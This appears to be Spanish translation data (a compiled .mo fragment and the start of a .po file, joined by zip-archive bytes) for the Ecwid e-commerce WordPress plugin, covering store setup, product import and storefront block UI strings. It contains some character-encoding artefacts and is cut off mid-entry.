donde y cuando quiera. Escanee productos, supervise el inventario, gestione las ventas y acepte pagos utilizando su dispositivo móvil como una estación de punto de venta. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">Más detalles.</a>�Carrito de compras de Ecwid�«Widget» de carrito de compras de Ecwid�Editar�Editar apariencia�Editar categoría�Editar producto�Editar tienda�Editar «slug» de la dirección URL�Editar página�Introduzca un ID de CSS opcional que se utilizará para este módulo. Se puede utilizar un ID para crear un estilo CSS personalizado o para crear enlaces a secciones particulares de su página web.�Introduzca las clases CSS opcionales que se utilizarán para este módulo. Se puede utilizar una clase CSS para crear estilos CSS personalizados. Puede añadir varias clases separadas por un espacio.�Introduzca el ID de su tienda�Introduzca el ID de su tienda aquí:�Extensiones para su tienda�Destacar una categoría de la tienda específica en una página separada de su sitio web.�Destaque sus productos en la barra lateral�Filtros�Posición del panel de filtros�Encuentre el ID de su tienda�Primera página�Preguntas frecuentes�Descargue la aplicación móvil de %s�Ir a «Páginas»�Ir a sus productos de %s�¡Saludos!�¡Enhorabuena! Su complemento de %s ya está activo.�Cuadrícula�Vista de cuadrícula�Ayuda�Ayude a los clientes a encontrar su tienda en el sitio web. Añada el enlace de la tienda al menú del sitio web, cree páginas adicionales de la tienda y resalte los productos de la tienda en otras páginas del sitio web y en las barras laterales.�Ayude a los clientes a encontrar su tienda en el sitio web.�Aquí puede gestionar cuántos productos se mostrarán por página. Estas opciones definen valores máximos. Si no hay suficiente espacio para mostrar todas las columnas de productos, %s adaptará el número de columnas para mantener todos los productos.�Aquí puede crear el contenido que se utilizará dentro del módulo.�Aquí, le ayudaremos a subir su catálogo de productos a %s de otro carrito de compras u otras fuentes.�Ocultar�Destaque productos, categorías y otras páginas de la tienda añadiéndolas a páginas del sitio web separadas.�Destaque sus mejores ventas o nuevos productos en la barra lateral del sitio web.�Sangría horizontal�Miniaturas horizontales�¿Cómo puedo añadir un «widget» de carrito de compras a la barra lateral de mi sitio web?�¿Cómo puedo gestionar mi tienda desde un dispositivo móvil?�¿Cómo podemos ayudarle?�¿Cómo puedo añadir categorías de tiendas al menú del sitio web?�¿Cómo pongo mis productos en el mapa del sitio?�¿Cuánto cuesta Ecwid?�¿Qué tan seguro es este complemento? ¿Mi tienda cumple con el PCI DSS?�¿Cómo añadir un solo producto con el botón de «añadir a la bolsa» en las páginas del sitio web?�¿Cómo crear una tienda en Facebook con Ecwid?�Ya tengo una cuenta, iniciar sesión�No pude encontrar un tema de WordPress adecuado para %s�Encontré un mejor complemento�Tengo un problema con el uso de este complemento�Tengo un problema con mi tienda de %s�Utilizo este tema de WordPress: %s�Icono�Icono y total de artículos�Icono, etiqueta y total de artículos�Icono, etiqueta, total de artículos y subtotal�Icono, etiqueta, total de artículos, subtotal y enlace�Si tiene un momento, háganos saber por qué está desactivando:�Imagen y título al pasar el ratón por encima�Canal de imagen�Diseño de la galería de imágenes�Solo imagen�Importar�Importe sus productos de Woocommerce a %s�Importación completada�Importación completada. <a href="%s">Ejecútela de nuevo.</a>�La importación crea nuevos productos y actualiza los productos existentes con las REF correspondientes.�La importación está en progreso�Importar mis productos de WooCommerce�Importar el catálogo de productos de WooCommerce�Importar el catálogo de productos de otras fuentes�Importe los productos a su tienda de %s�Resumen de la importación�Importe su catálogo de WooCommerce a %s�Importe sus productos de WooCommerce a %s�Importe sus productos de Woocommerce a %s�<b>%s</b> productos importados�Importando %s de %s artículos�Insertar�Insertar en la página�Sitio web instantáneo�Integración con la búsqueda en su sitio web�¿Es posible mostrar mi tienda en la página de inicio del sitio web?�¿Existe algún tema de WordPress para Ecwid?�Es una desactivación temporal. No preguntarme de nuevo.�Solo el total de artículos�Justificado�Base de conocimiento�G�Etiqueta y y total de artículos�Horizontal 3:2�Horizontal 4:3�Última página�Última actualización�Últimos productos�Diseño�Diseño:�Más información�Izquierda�Cian verde claro�Color del enlace�Producto vinculado�Lista�Vista de lista�Parece que su sitio web no admite solicitudes POST remotas, las cuales son necesarias para que la API de %s funcione. Comuníquese con su proveedor de alojamiento web para habilitar cURL.�Ãmbar vívido y brillante�Naranja vívido y brillante�M�Haga que su tienda sea accesible desde el menú del sitio web para que sus clientes puedan encontrarla fácilmente.�Gestionar la barra lateral�Gestione la tienda desde iPhone, iPad o Android�Gestione productos, supervise las ventas y ajuste la configuración: <nobr>todo sin</nobr> salir de esta página.�Gestionar la tienda�Gestionar escaparate virtual�Mercadotecnia�Móvil�Mi cuenta�Mi perfil�Mis ventas�Nombre�Navegación�¿Necesita ayuda para importar sus productos de WooCommerce a %s?�Nunca mostrar este mensaje otra vez�Página siguiente�Página siguiente�No, gracias�Sin borde�No se ha sincronizado todavía�Nota: cuando está habilitado, el «widget» del carrito siempre se mostrará en la vista previa para que sea más fácil personalizarlo. Las opciones «Mostrar en las páginas de la tienda» y «Mostrar cuando esté vacío» se aplicarán al «widget» del carrito en el sitio cuando se publiquen�No se ha encontrado nada en relación con <span class="empty-page__term">«{{ data.term }}»</span>�Número de categorías por fila�Número de productos por página�Número de productos para mostrar�A la izquierda�A la derecha�Tienda en línea�Aplicaciones de la tienda en línea�Tienda en línea�Abrir el panel de control�Abrir el panel de la tienda�Opciones�Pedidos�Otro�Nuestros 4 tipos de cuentas varían según la cantidad de productos, los tipos de funcionalidades y el nivel de asistencia. Para obtener más información, consulte nuestra <a target="_blank" href="%s">página de precios.</a><br /><br />Consejo profesional: también puede ahorrar dinero si se suscribe a nuestros planes anuales.�Nuestro equipo ya está trabajando en este asunto. Actualice la página en unos minutos. Si el problema persiste, comuníquese con <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">nuestro equipo de atención al cliente</a>.�Ya existe una página con ese nombre.�Azul cian pálido�Rosa pálido�Parte de los productos no se han copiado a %1$s porque alcanzó el límite de productos en su plan de precios en %1$s. Si desea importar más productos, considere <nobr><a %2$s>actualizar su plan de %1$s.</a></nobr>�Pago�Personalice la apariencia de su escaparate virtual y edite el contenido en la página de la tienda para reflejar su marca y mantenerse conectado con sus clientes.�Elegir una categoría�Elegir un producto�Imagen�Píldora�Tenga en cuenta el número máximo de productos y categorías que puede tener en su tienda de Ecwid. Esta herramienta de importación se detendrá automáticamente cuando se alcance el límite de productos de la tienda. Para conocer el límite actual de la tienda o aumentarlo, consulte la página <nobr><a %s target="_blank">«Facturación y planes»</a></nobr> ubicada en el panel de su tienda de Ecwid.�Suscríbase a un plan de pago para obtener esta función.�Complementos para Ecwid�Vertical 2:3�Vertical 3:4�Posición�Vista previa�Página anterior�Precio�Color del precio�Producto�Ficha de producto ampliada�Ficha de producto reducida�Apariencia de la lista de productos�Apariencia de la página del producto�REF del producto�Búsqueda de productos�Cuadro de búsqueda de productos�Búsqueda de productos y filtros�El texto de la ficha del producto se alinea�El catálogo de productos se mostrará automáticamente�Diseño de la página de productos�Precio del producto�Cantidad de productos�Contenido de la barra lateral de productos�Relación de aspecto de la miniatura del producto�Tamaño de la miniatura del producto�Título del producto�Productos�Los productos se sincronizaron satisfactoriamente. Las páginas de productos están actualizadas.�Productos eliminados sincronizados: %1$s de %2$s�Promocione su tienda�Otorgar acceso.�Proporcionado por <a %s>%s</a>�Publicar�Publicar la página de la tienda�Publique la página para poder utilizar esta opción�Publicada�Cantidad�¿Tiene alguna pregunta?�Producto aleatorio�Productos aleatorios�Tasa de %s en WordPress.org�Vuélvase a conectar para activar el panel de control�Productos vistos recientemente�Recomendaciones para su tienda en línea�Rectángulo�Actualizar la lista de categorías�Registrarse en %s�Informar un problema con la tienda�Informes�Derecha�P�REF�Ventas�Canales de venta�Guardar�Guarde y conecte su tienda de %s al sitio web�Guardar cambios�Buscar�Búsqueda y filtros�Buscar productos�Buscar en la base de conocimientos�Ver más�Seleccionar todo�Seleccionar categoría�Producto seleccionado�Categoría seleccionada�Vender en Facebook�Enviar mensaje�Envíe un mensaje a nuestro equipo de asistencia�Ocurrió un error al enviar el mensaje�Configure su tienda�Configurar manualmente�Configure su tienda�Configuraciones�Configuración�Envío y recogida�Tienda�Carrito de compras�Carrito de compras (descontinuado)�Carrito de compras flotante (descontinuado)�Icono del carrito de compras�Carrito de compras en miniatura (descontinuado)�«Widget» del carrito de compras�Mostrar�Mostrar imagen adicional al pasar el ratón�Mostrar categorías�Muéstreles a los clientes que pueden utilizar la búsqueda y los filtros para encontrar los productos que deseen de forma más rápida.�Mostrar descripción debajo de la imagen�Mostrar minicarrito�Mostrar en todas las páginas�Mostrar al pasar el ratón�Mostrar en las páginas de la tienda�Mostrar el precio dentro del botón de «Comprar ahora»�Mostrar el precio dentro del botón de «Comprar ahora»�Mostrar el borde de la ficha del producto�Mostrar miniaturas de los productos�Mostrar búsqueda�Mostrar cuando esté vacío�Muestre su tienda en la página de inicio�El inicio de sesión único les permite a sus clientes tener un inicio de sesión único para su sitio web de WordPress y su %s. Cuando alguien inicie sesión en su sitio web, también iniciará sesión automáticamente en su cuenta de cliente en la tienda sin necesidad de introducir su correo electrónico y contraseña nuevamente.�Icono pequeño�Icono pequeño y total de artículos�Algunos de los artículos no se pudieron importar.�Le pido disculpas por las dificultades técnicas que estamos experimentando.�Lo siento, hay un problema. Se supone que esta página muestra el panel de control de su tienda; sin embargo, este sitio web de Wordpress no parece poder conectarse al servidor de Ecwid para mostrar el panel de su tienda aquí. Es probable que esto se deba a una mala configuración del servidor; su proveedor de alojamiento web puede solucionarlo. Aquí hay una descripción más técnica del problema, la cual puede enviarle a su proveedor de alojamiento web: «La función de Wordpress wp_remote_post() no pudo conectarse a un servidor remoto debido al error: “%sâ€; parece que las solicitudes HTTP POST están inhabilitadas en este servidor». <br /><br />No dude en ponerse en contacto con nosotros en <a %s>wordpress@ecwid.com</a> y le ayudaremos a comunicarse con su proveedor de alojamiento web para pedirle que solucione el problema. <br /><br /> Mientras tanto, para gestionar su tienda, puede utilizar el panel de control web de Ecwid en <a %s>my.ecwid.com</a>. Su escaparate virtual está funcionando bien; puede echarle un vistazo aquí: <a %s>%s</a>.�Cuadrado 1:1�Iniciar la importación�Estado�Manténgase conectado con sus clientes. Actualice el contenido de su tienda en cualquier momento para informarles a los clientes sobre las promociones actuales y las novedades de su tienda.�¿Todavía tiene preguntas acerca de Ecwid? ¡Háganoslo saber!�Tienda�Categorías de la tienda�Menú de categorías de la tienda�Página de categorías de la tienda�Página del escaparate virtual�Página de inicio de la tienda�ID de la tienda�El ID de la tienda es un identificador único de cualquier tienda de %1$s, el cual consta de varios dígitos. Puede encontrarlo en la página «Panel» del panel de control de %1$s. El ID de la tienda se enviará en el correo electrónico de bienvenida después del registro.�El ID de la tienda es un identificador único de su cuenta de %1$s. Puede encontrarlo en su panel de control de %1$s en la <a %2$s>página del panel</a>.�Título del enlace de la tienda�Navegación en la tienda�Página de la tienda�Enlace a la página de la tienda�Categorías raíz de la tienda�Apariencia de la tienda�Elementos de la tienda�Gestión de la tienda�Contenido de la página de la tienda�Página de la tienda en su sitio web�Categoría raíz de la tienda�Tienda con menú de categorías�Escaparate virtual�Asunto�Enviar y desactivar�Cambiar al borrador�Sincronizar productos�Tabla�Vista de tabla�Siga unos sencillos pasos para completar la configuración de la tienda�Aproveche las increíbles aplicaciones y extensiones diseñadas para mejorar su tienda.�Texto�Color del texto�Gracias por elegir %s para construir su tienda en línea�El bloque está oculto porque no tiene categorías en su tienda. <a target="_blank" href="admin.php?page=ec-store-admin-category-id-0-mode-edit">Añadir categorías.</a>�La categoría que se muestra de forma predeterminada en la página del escaparate virtual�El primer paso para abrir su negocio en línea: <br />añadamos una tienda a su sitio web de WordPress en <strong>3</strong> simples pasos.�El complemento no es compatible con la función que quiero�El icono del carrito de compras muestra la cantidad de artículos en el carrito y ayuda a los clientes a realizar el pago. Además, puede <a href="%s" target="_blank">ajustar la apariencia del icono del carrito</a>.�La tienda no es visible en su sitio web�Las categorías de alto nivel de la tienda se añaden automáticamente a este menú desplegable�Temas para Ecwid�Esta importación copiará sus productos y categorías de WooCommerce a su tienda de %s.�Esto es una tienda de demostración. Cree su tienda para ver los productos de su tienda aquí.�Esto cambiará la etiqueta del módulo en el creador para una fácil identificación.�Título�Título en la imagen�Solo título�Título o REF�Título debajo de la imagen�Título:�Para añadir funciones adicionales a su tienda, arrastre y suelte los elementos de la tienda de %s en su sitio web. Una vez que haya terminado, puede volver a modificar su configuración.�Para añadir su tienda a su sitio web, introduzca el ID de su tienda de %1$s en el campo a continuación. Si aún no tiene una cuenta de %1$s, cree una gratis en el <a %2$s>sitio web de %1$s</a>.�Para permitir que %s inicie la sesión de sus clientes automáticamente en su tienda, otorgue los permisos para utilizar los datos del cliente en la tienda. <a %s>Utilice este enlace para hacerlo</a>�A fin de poder elegir un producto para insertarlo en sus publicaciones y páginas, deberá volver a conectar su sitio a su tienda de %s. Esto solo requerirá que acepte la solicitud de permisos para que el complemento pueda listar sus productos en el cuadro de diálogo «Añadir producto».�Para crear un «Mapa del sitio» para su sitio web de Wordpress, le sugerimos que utilice los  complementos <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> o <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>. Estos complementos son totalmente compatibles con Ecwid y permiten generar un mapa del sitio que contiene enlaces a categorías y páginas de productos, por lo que las páginas de la tienda se indexarán más rápido. Tenga en cuenta que esta opción solo está disponible para los <a target="_blank" href="https://www.ecwid.com/pricing">usuarios de pago de Ecwid</a>.�Para mostrar su tienda en este sitio web, debe permitir que WordPress acceda a sus productos de %1$s. Pulse «Conectar» para otorgar el permiso.�Para habilitar esta función, el complemento necesita un permiso para leer la información del producto de su tienda.�Para mostrar un solo producto en una página aparte o en una entrada de blog de su sitio web, utilice el código corto <b>[ecwid_product]</b>. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow">Cómo utilizarlo</a>�Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para mejorar la apariencia de su tienda y poder gestionar la apariencia de su escaparate virtual desde aquí, habilite la opción «Apariencia de próxima generación de la lista de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para asegurarse de que su cliente puede acceder realmente a su sitio web y a la tienda, habilite el registro en las <a %s>configuraciones del sitio web</a>�Para gestionar su tienda, vaya a la <a %s>página del «Panel de su tienda»</a>�Para vender utilizando %1$s, debe permitir que WordPress acceda al complemento %1$s. El botón «Conectar» lo redirigirá a su cuenta de %1$s donde puede otorgar el permiso.�Para mostrar su escaparate virtual en lugar de la tienda de demostración, conecte su cuenta de %s existente o cree una nueva.�Para comenzar a vender, añada una página a su sitio web donde se muestre el escaparate virtual.�Arriba a la izquierda�Arriba a la derecha�Intente otra búsqueda.�Escriba su mensaje aquí�«Slug» de la dirección URL�Actualizar�Actualice su catálogo�Actualice para obtener esta función�Sangría vertical�Miniaturas verticales�Gris oscuro�Gris claro�Ver la página de la tienda�Ver la página de la tienda de demostración�Ver la página de la tienda�Visitar escaparate virtual�Azul cian vívido�Cian verde vívido�Rojo vívido�¿Desea conectar otra tienda de %s?�Advertencia: algunas de las funciones de su tienda en línea están inhabilitadas. Póngase en contacto con su proveedor de alojamiento web para resolverlo.�Notamos que tiene un WooCommerce instalado. Su tienda de WooCommerce tiene %1$s productos y %2$s categorías; ¿le gustaría importarlos a %3$s?�Notamos que tiene WooCommerce instalado. Si desea copiar fácilmente sus productos de WooCommerce a %s, esta herramienta le ayudará.�Estamos sincronizando sus productos. Esto puede tardar unos minutos. No actualice la página.�Sitio web�¿Qué función necesita?�¿Qué fue lo que pasó?�¿Qué sigue?�Mientras su tienda aún no esté conectada, se mostrará una tienda de demostración en su sitio web. Échele un vistazo para tener una idea de cómo se verá su tienda en el sitio web.�Precios al por mayor�Puede añadir un cuadro de búsqueda de productos, un «widget» de carrito y más desde la <a href="%s">«Página de apariencia y widgets»</a> que se encuentra aquí en el administrador de su sitio web. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets">Más detalles.</a>�Puede añadir todo el escaparate virtual, las categorías, los productos o los botones de «Comprar ahora» a otras páginas de su sitio web. Para ello, abra una página en el editor y añada un bloque %s apropiado.�Puede añadir el menú de categorías de la tienda al menú de su sitio web para ayudar a sus clientes a navegar fácilmente por su sitio web. Simplemente abra «Apariencia > Menús» en el panel de WordPress y añada el elemento «Tienda con menú de categorías» al menú de su sitio web. Aparecerá automáticamente un menú desplegable que contendrá las categorías de su tienda en su sitio web.�Puede añadir su tienda en línea a su página empresarial de Facebook (no se necesitan complementos). Ecwid sincronizará automáticamente los productos, clientes, pedidos e inventario entre su tienda en línea de WordPress y Facebook. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop">Más detalles.</a>�Puede gestionar la apariencia de su tienda en la <a %s>página de «Configuración del diseño»</a> ubicada en el panel de control de su tienda.�Puede mostrar su tienda en la página principal del sitio web. Ajuste la configuración de «Lectura» de su sitio web como se describe en nuestro <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">centro de asistencia.</a>�Puede habilitar un «widget» adicional del icono de la bolsa de compras que aparecerá en las páginas de su sitio web. Abra el menú «<a href="%1$s">Apariencia → Personalizar → %2$s</a>» para habilitarlo.�Puede habilitar los filtros en la configuración de la tienda: («<a target="_blank" href="admin.php?page=ec-store-admin-product-filters-mode-main">Configuración → Filtros para los productos</a>»).�Puede enviar una nueva solicitud aquí.�Aún no ha visto ningún producto. Abra la tienda.�También podrá registrarse a través de sus perfiles existentes de Google, Facebook o PayPal.�Su tienda de %s tiene �Su tienda de %s está conectada<br /> a su sitio web de WordPress�Su tienda de %s ahora está conectada<br /> a su sitio web de WordPress�Su escaparate virtual�Su tienda de WooCommerce tiene �Se ha enviado su correo electrónico�Su producto�Panel de control de su tienda. Aquí mismo en WordPress.�Se ha creado su tienda. Preparando el panel de su tienda...�Su tienda se añade a varias páginas del sitio web. Elija la página principal. Los clientes son redirigidos a la página principal de la tienda cuando hacen clic en el icono del carrito, en los enlaces de la tienda ubicados en el menú del sitio web o en los productos que se encuentran en la barra lateral.�¡Su tienda ya está casi lista!�Su tienda no se añade a ninguna página de su sitio web. Para que los clientes puedan navegar por su tienda y realizar pedidos, cree una página donde se mostrará la tienda.�La página de su tienda�La página de su tienda está actualmente en un borrador. Una vez que esté lista, publíquela para que los clientes puedan visitar la tienda y realizar pedidos.�La página de su tienda está publicada. Los clientes pueden visitar su tienda en �Su tienda se mostrará aquí�¡Su tienda se mostrará aquí!�Su escaparate virtual (listado de productos y página de pago) está funcionando bien, pero las funciones avanzadas de la tienda, como el SEO y los «widgets» de la barra lateral, están inhabilitadas. Para habilitarlas y asegurarse de que su tienda funcione correctamente, pulse el botón de abajo para conectar su cuenta de %s. Esto tomará menos de un minuto; solo se le pedirá que inicie sesión en su cuenta y permita que este sitio web obtenga los datos de su tienda.�[%s] Comentarios sobre la desactivación del complemento de WordPress (ID de la tienda: %s)�personalizar apariencia�Contenido�Tienda�http://www.ecwid.com?partner=wporg�https://ecwid.to/ecwid-site�https://support.ecwid.com/hc/en-us�https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products�https://support.ecwid.com/hc/en-us/search�https://www.ecwid.com/blog�o <a %s>consulte el centro de asistencia�REF del producto�Precio del producto�seleccionar producto�producto seleccionado�Tienda en línea�Botón de «Comprar ahora»�PK������Ê—[!ÛÛ¡2¬�2¬�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_CR.ponu�„[µü¤��������# Translation of Plugins - Ecwid Ecommerce Shopping Cart - Stable (latest release) in German # This file is distributed under the same license as the Plugins - Ecwid Ecommerce Shopping Cart - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2020-10-12 12:46\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: GlotPress/3.0.0-alpha.2\n" "Language: es\n" "Project-Id-Version: temporary-strings\n" "X-Crowdin-Project: temporary-strings\n" "X-Crowdin-Project-ID: 295314\n" "X-Crowdin-Language: es-ES\n" "X-Crowdin-File: /Wordpress Plugin/wp-plugins-ecwid-shopping-cart-stable.po\n" "X-Crowdin-File-ID: 988\n" "Language-Team: Spanish\n" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:92 msgid "You can control your store look and feel on the <a %s>Design settings page</a> in your store control panel." msgstr "Puede gestionar la apariencia de su tienda en la <a %s>página de «Configuración del diseño»</a> ubicada en el panel de control de su tienda." #: includes/integrations/elementor/class-ec-elementor-widget-store.php:55 msgid "To manage your store, go to <a %s>the Store Dashboard page</a>" msgstr "Para gestionar su tienda, vaya a la <a %s>página del «Panel de su tienda»</a>" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:39 msgid "The category that is shown by default on the Store Front Page" msgstr "La categoría que se muestra de forma predeterminada en la página del escaparate virtual" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:38 msgid "Default category" msgstr "Categoría predeterminada" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:29 msgid "Online Store" msgstr "Tienda en línea" #: includes/class-ecwid-stub-renderer.php:38 msgid "Buy Now" msgstr "Comprar ahora" #: templates/admin/welcome-terms-privacy.php:5 msgid "By continuing, you agree to the <a %s>Terms of Service</a> and <a %s>Privacy Policy</a>." msgstr "Al continuar, acepta los <a %s>Términos de servicio</a> y la <a %s>Política de privacidad</a>." #: js/gutenberg/blocks.build.js:1 msgid "Display shopping cart and checkout page" msgstr "Mostrar el carrito de compras y la página de pago" #: js/gutenberg/blocks.build.js:1 msgid "Cart and Checkout" msgstr "Carrito y pago" #: js/gutenberg/blocks.build.js:1 msgid "Filters" msgstr "Filtros" #: js/gutenberg/blocks.build.js:1 msgid "You can enable filters in the store settings: (“<a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">Settings → Product Filters</a>â€)." msgstr "Puede habilitar los filtros en la configuración de la tienda: («<a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">Configuración → Filtros para los productos</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Search and Filters" msgstr "Búsqueda y filtros" #: js/gutenberg/blocks.build.js:1 msgid "Display search page with filters on a side" msgstr "Mostrar página de búsqueda con los filtros a un lado" #: js/gutenberg/blocks.build.js:1 msgid "Product Search and filters" msgstr "Búsqueda de productos y filtros" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Display product page with description and a buy button" msgstr "Mostrar la página de productos con la descripción y un botón de compra" #: js/gutenberg/blocks.build.js:1 msgid "Product Card Large" msgstr "Ficha de producto ampliada" #: js/gutenberg/blocks.build.js:1 msgid "Selected category" msgstr "Categoría seleccionada" #: js/gutenberg/blocks.build.js:1 msgid "Select category" msgstr "Seleccionar categoría" #: js/gutenberg/blocks.build.js:1 msgid "Add categories" msgstr "Añadir categorías" #: js/gutenberg/blocks.build.js:1 msgid "Display category page" msgstr "Mostrar la página de categorías" #: js/gutenberg/blocks.build.js:1 msgid "Store Category Page" msgstr "Página de categorías de la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Display shopping bag link and summary" msgstr "Mostrar enlace y resumen de la bolsa de compras" #: js/gutenberg/blocks.build.js:1 msgid "Shopping Cart Icon" msgstr "Icono del carrito de compras" #: js/gutenberg/blocks.build.js:1 msgid "The block is hidden because you don't have categories in your store. <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Add categories.</a>" msgstr "El bloque está oculto porque no tiene categorías en su tienda. <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Añadir categorías.</a>" #: js/gutenberg/blocks.build.js:1 msgid "Categories" msgstr "Categorías" #: js/gutenberg/blocks.build.js:1 msgid "Display categories navigation bar" msgstr "Mostrar la barra de navegación de las categorías" #: js/gutenberg/blocks.build.js:1 msgid "Store Categories Menu" msgstr "Menú de categorías de la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Product Search Box" msgstr "Cuadro de búsqueda de productos" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:25 #: js/gutenberg/blocks.build.js:1 msgid "Linked product" msgstr "Producto vinculado" #: js/gutenberg/blocks.build.js:1 msgid "Display a buy button" msgstr "Mostrar un botón de compra" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:10 #: js/gutenberg/blocks.build.js:1 msgid "Buy Now Button" msgstr "Botón «Comprar ahora»" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:52 #: js/gutenberg/blocks.build.js:1 msgid "Show price inside the «Buy now» button" msgstr "Mostrar el precio dentro del botón de «Comprar ahora»" #: js/gutenberg/blocks.build.js:1 msgctxt "gutenberg-product-block" msgid "Content" msgstr "Contenido" #: js/gutenberg/blocks.build.js:1 msgid "Change" msgstr "Cambiar" #: js/gutenberg/blocks.build.js:1 msgid "Displayed product" msgstr "Producto mostrado" #: js/gutenberg/blocks.build.js:1 msgid "Display product with a buy button" msgstr "Mostrar el producto con un botón de compra" #: js/gutenberg/blocks.build.js:1 msgid "Product Card Small" msgstr "Ficha de producto reducida" #: js/gutenberg/blocks.build.js:1 msgid "Very dark gray" msgstr "Gris oscuro" #: js/gutenberg/blocks.build.js:1 msgid "Cyan bluish gray" msgstr "Gris cian azulado" #: js/gutenberg/blocks.build.js:1 msgid "Very light gray" msgstr "Gris claro" #: js/gutenberg/blocks.build.js:1 msgid "Vivid cyan blue" msgstr "Azul cian vívido" #: js/gutenberg/blocks.build.js:1 msgid "Pale cyan blue" msgstr "Azul cian pálido" #: js/gutenberg/blocks.build.js:1 msgid "Vivid green cyan" msgstr "Cian verde vívido" #: js/gutenberg/blocks.build.js:1 msgid "Light green cyan" msgstr "Cian verde claro" #: js/gutenberg/blocks.build.js:1 msgid "Luminous vivid amber" msgstr "Ãmbar vívido y brillante" #: js/gutenberg/blocks.build.js:1 msgid "Luminous vivid orange" msgstr "Naranja vívido y brillante" #: js/gutenberg/blocks.build.js:1 msgid "Vivid red" msgstr "Rojo vívido" #: js/gutenberg/blocks.build.js:1 msgid "Pale pink" msgstr "Rosa pálido" #: js/gutenberg/blocks.build.js:1 msgid "Set manually" msgstr "Configurar manualmente" #: js/gutenberg/blocks.build.js:1 msgid "Detect automatically" msgstr "Detectar automáticamente" #: js/gutenberg/blocks.build.js:1 msgid "Color settings" msgstr "Configuración de colores" #: js/gutenberg/blocks.build.js:1 msgid "Store Navigation" msgstr "Navegación en la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Store Front Page" msgstr "Página del escaparate virtual" #: js/gutenberg/blocks.build.js:1 msgid "Product sidebar content" msgstr "Contenido de la barra lateral de productos" #: js/gutenberg/blocks.build.js:1 msgid "Product Page Appearance" msgstr "Apariencia de la página del producto" #: js/gutenberg/blocks.build.js:1 msgid "Product List Appearance" msgstr "Apariencia de la lista de productos" #: js/gutenberg/blocks.build.js:1 msgid "Category List Appearance" msgstr "Apariencia de la lista de categorías" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your product page and manage its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Display cart icon" msgstr "Mostrar icono del carrito" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su tienda y poder gestionar la apariencia de su escaparate virtual desde aquí, habilite la opción «Apariencia de próxima generación de la lista de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Add storefront (product listing)" msgstr "Añadir escaparate virtual (listado de productos)" #: templates/admin/storefront/main.php:21 msgid "Customers can’t see your store page because it’s in draft. Publish the page to make it available for your customers." msgstr "Los clientes no pueden ver la página de su tienda porque está en un borrador. Publique la página para que esté disponible para sus clientes." #: templates/admin/storefront/main.php:20 msgid "The store is not visible on your site" msgstr "La tienda no es visible en su sitio web" #: templates/admin/storefront/main.php:4 msgid "Your Storefront" msgstr "Su escaparate virtual" #: templates/admin/storefront/area-promo.php:30 msgid "Help customers find your store on the site. Add the store link to the site menu, create additional store 